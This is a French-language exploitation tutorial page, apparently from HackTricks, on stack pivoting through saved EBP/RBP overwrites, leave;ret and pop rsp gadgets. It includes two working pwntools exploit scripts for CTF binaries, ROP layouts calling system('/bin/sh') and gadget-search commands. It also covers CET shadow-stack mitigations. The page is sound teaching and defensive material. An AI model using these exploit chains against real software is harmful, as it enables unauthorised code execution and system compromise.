# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../banners/hacktricks-training.md}} ## Informations de base Cette technique exploite la capacité à manipuler le **Base Pointer (EBP/RBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du pointeur de cadre et de la séquence d'instructions **`leave; ret`**. Pour rappel, sur x86/x86-64 **`leave`** est équivalent à : ``` mov rsp, rbp ; mov esp, ebp on x86 pop rbp ; pop ebp on x86 ret ``` Et comme le **EBP/RBP sauvegardé est dans la pile** avant le EIP/RIP sauvegardé, il est possible de le contrôler en contrôlant la pile. > Notes > - Sur 64 bits, remplacez EBP→RBP et ESP→RSP. La sémantique est la même. > - Certains compilateurs omettent le pointeur de cadre (voir “EBP pourrait ne pas être utilisé”). Dans ce cas, `leave` pourrait ne pas apparaître et cette technique ne fonctionnera pas. ### EBP2Ret Cette technique est particulièrement utile lorsque vous pouvez **modifier le EBP/RBP sauvegardé mais n'avez aucun moyen direct de changer EIP/RIP**. Elle exploite le comportement de l'épilogue de fonction. Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où se trouve l'adresse de votre shellcode/chaîne ROP (plus 8 octets sur amd64 / 4 octets sur x86 pour tenir compte du `pop`), vous pouvez contrôler indirectement RIP. Lorsque la fonction retourne, `leave` définit RSP à l'emplacement conçu et le `pop rbp` suivant diminue RSP, **le faisant pointer effectivement vers une adresse stockée par l'attaquant là-bas**. Ensuite, `ret` utilisera cette adresse. Notez comment vous **devez connaître 2 adresses** : l'adresse où ESP/RSP va aller, et la valeur stockée à cette adresse que `ret` va consommer. #### Construction de l'Exploit Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des données/adresses arbitraires**. RSP pointera ici et **consommera le premier `ret`**. Ensuite, vous devez choisir l'adresse utilisée par `ret` qui **transférera l'exécution**. Vous pourriez utiliser : - Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget). - L'adresse de **`system()`** suivie du retour approprié et des arguments (sur x86 : cible `ret` = `&system`, puis 4 octets de junk, puis `&"/bin/sh"`). - L'adresse d'un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie de shellcode en ligne. - Une chaîne [**ROP**](../rop-return-oriented-programing/index.html) mise en mémoire écrivable. N'oubliez pas qu'avant l'une de ces adresses dans la zone contrôlée, il doit y avoir **de l'espace pour le `pop ebp/rbp`** de `leave` (8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour définir un **deuxième EBP factice** et garder le contrôle après le retour du premier appel. #### Exploit Off-By-One Il existe une variante utilisée lorsque vous ne pouvez **modifier que le byte le moins significatif du EBP/RBP sauvegardé**. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec **`ret`** doit partager les trois/cinq premiers octets avec l'EBP/RBP original afin qu'un écrasement de 1 octet puisse le rediriger. En général, le byte bas (offset 0x00) est augmenté pour sauter aussi loin que possible dans une page/région alignée à proximité. Il est également courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouveau RSP pointe à l'intérieur du sled et que la chaîne ROP finale soit exécutée. ### Chaînage EBP En plaçant une adresse contrôlée dans l'emplacement `EBP` sauvegardé de la pile et un gadget `leave; ret` dans `EIP/RIP`, il est possible de **déplacer `ESP/RSP` vers une adresse contrôlée par l'attaquant**. Maintenant, `RSP` est contrôlé et la prochaine instruction est `ret`. Placez dans la mémoire contrôlée quelque chose comme : - `&(next fake EBP)` -> Chargé par `pop ebp/rbp` de `leave`. - `&system()` -> Appelé par `ret`. - `&(leave;ret)` -> Après la fin de `system`, déplace RSP vers le prochain EBP factice et continue. - `&("/bin/sh")` -> Argument pour `system`. De cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme. C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mais plus complexe et utile uniquement dans des cas limites. De plus, ici vous avez un [**exemple de défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page : ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( buffer, # Load leaked address in RBP LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` > astuce d'alignement amd64 : le System V ABI nécessite un alignement de la pile de 16 octets aux sites d'appel. Si votre chaîne appelle des fonctions comme `system`, ajoutez un gadget d'alignement (par exemple, `ret`, ou `sub rsp, 8 ; ret`) avant l'appel pour maintenir l'alignement et éviter les plantages `movaps`. ## EBP pourrait ne pas être utilisé Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations ou avec omission du pointeur de cadre, le **EBP/RBP ne contrôle jamais ESP/RSP**. Par conséquent, toute exploitation fonctionnant en contrôlant EBP/RBP échouera car le prologue/l'épilogue ne restaure pas à partir du pointeur de cadre. - Non optimisé / pointeur de cadre utilisé : ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - Optimisé / pointeur de cadre omis : ```bash push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ret # return ``` Sur amd64, vous verrez souvent `pop rbp ; ret` au lieu de `leave ; ret`, mais si le pointeur de cadre est complètement omis, il n'y a pas d'épilogue basé sur `rbp` à pivoter. ## Autres façons de contrôler RSP ### Gadget `pop rsp` [**Dans cette page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un **gadget `pop rsp`** et il y a une **leak de la pile** : ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg , rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp Vérifiez la technique ret2esp ici : {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ### Trouver rapidement des gadgets de pivot Utilisez votre outil de recherche de gadgets préféré pour rechercher des primitives de pivot classiques : - `leave ; ret` sur des fonctions ou dans des bibliothèques - `pop rsp` / `xchg rax, rsp ; ret` - `add rsp, ; ret` (ou `add esp, ; ret` sur x86) Exemples : ```bash # Ropper ropper --file ./vuln --search "leave; ret" ropper --file ./vuln --search "pop rsp" ropper --file ./vuln --search "xchg rax, rsp ; ret" # ROPgadget ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" ``` ### Modèle de staging de pivot classique Une stratégie de pivot robuste utilisée dans de nombreux CTF/exploits : 1) Utilisez un petit débordement initial pour appeler `read`/`recv` dans une grande région writable (par exemple, `.bss`, heap ou mémoire RW mappée) et placez une chaîne ROP complète là-bas. 2) Retournez dans un gadget de pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) pour déplacer RSP vers cette région. 3) Continuez avec la chaîne mise en scène (par exemple, leak libc, appeler `mprotect`, puis `read` shellcode, puis sautez vers celui-ci). ## Atténuations modernes qui brisent le pivot de pile (CET/Shadow Stack) Les CPU et OS x86 modernes déploient de plus en plus **CET Shadow Stack (SHSTK)**. Avec SHSTK activé, `ret` compare l'adresse de retour sur la pile normale avec une pile d'ombre protégée par le matériel ; toute discordance soulève une faute de protection de contrôle et tue le processus. Par conséquent, des techniques comme les pivots basés sur EBP2Ret/leave;ret planteront dès que le premier `ret` est exécuté à partir d'une pile pivotée. - Pour des informations de base et des détails plus approfondis, voir : {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}} - Vérifications rapides sur Linux : ```bash # 1) Is the binary/toolchain CET-marked? readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' # 2) Is the CPU/kernel capable? grep -E 'user_shstk|ibt' /proc/cpuinfo # 3) Is SHSTK active for this process? grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) # 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags (gdb) checksec ``` - Notes pour les labs/CTF : - Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le matériel et le glibc sont pris en charge. Pour des tests contrôlés dans des VM, SHSTK peut être désactivé au niveau système via le paramètre de démarrage du noyau `nousershstk`, ou activé sélectivement via les réglages glibc au démarrage (voir les références). Ne désactivez pas les atténuations sur les cibles de production. - Les techniques basées sur JOP/COOP ou SROP peuvent encore être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur `ret`. - Note Windows : Windows 10+ expose le mode utilisateur et Windows 11 ajoute la protection de pile "Hardware-enforced Stack Protection" en mode noyau basée sur des piles d'ombre. Les processus compatibles CET empêchent le pivotement de pile/ROP à `ret` ; les développeurs optent pour via CETCOMPAT et des politiques connexes (voir référence). ## ARM64 Dans ARM64, le **prologue et les épilogues** des fonctions **ne stockent pas et ne récupèrent pas le registre SP** dans la pile. De plus, l'instruction **`RET`** ne retourne pas à l'adresse pointée par SP, mais **à l'adresse à l'intérieur de `x30`**. Par conséquent, par défaut, en abusant simplement de l'épilogue, vous **ne pourrez pas contrôler le registre SP** en écrasant certaines données à l'intérieur de la pile. Et même si vous parvenez à contrôler le SP, vous auriez toujours besoin d'un moyen de **contrôler le registre `x30`**. - prologue ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP pointe vers l'enregistrement de cadre ``` - épilogue ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > La façon de réaliser quelque chose de similaire au pivotement de pile dans ARM64 serait de pouvoir **contrôler le `SP`** (en contrôlant un registre dont la valeur est passée à `SP` ou parce que pour une raison quelconque `SP` prend son adresse de la pile et que nous avons un débordement) et ensuite **abuser de l'épilogue** pour charger le registre **`x30`** à partir d'un **`SP`** contrôlé et **`RET`** vers celui-ci. Aussi, sur la page suivante, vous pouvez voir l'équivalent de **Ret2esp dans ARM64** : {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Références - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP. - Documentation du noyau Linux : Control-flow Enforcement Technology (CET) Shadow Stack — détails sur SHSTK, `nousershstk`, les indicateurs `/proc/$PID/status`, et l'activation via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn : Protection de pile appliquée par le matériel en mode noyau (piles d'ombre CET sur Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection {{#include ../../banners/hacktricks-training.md}}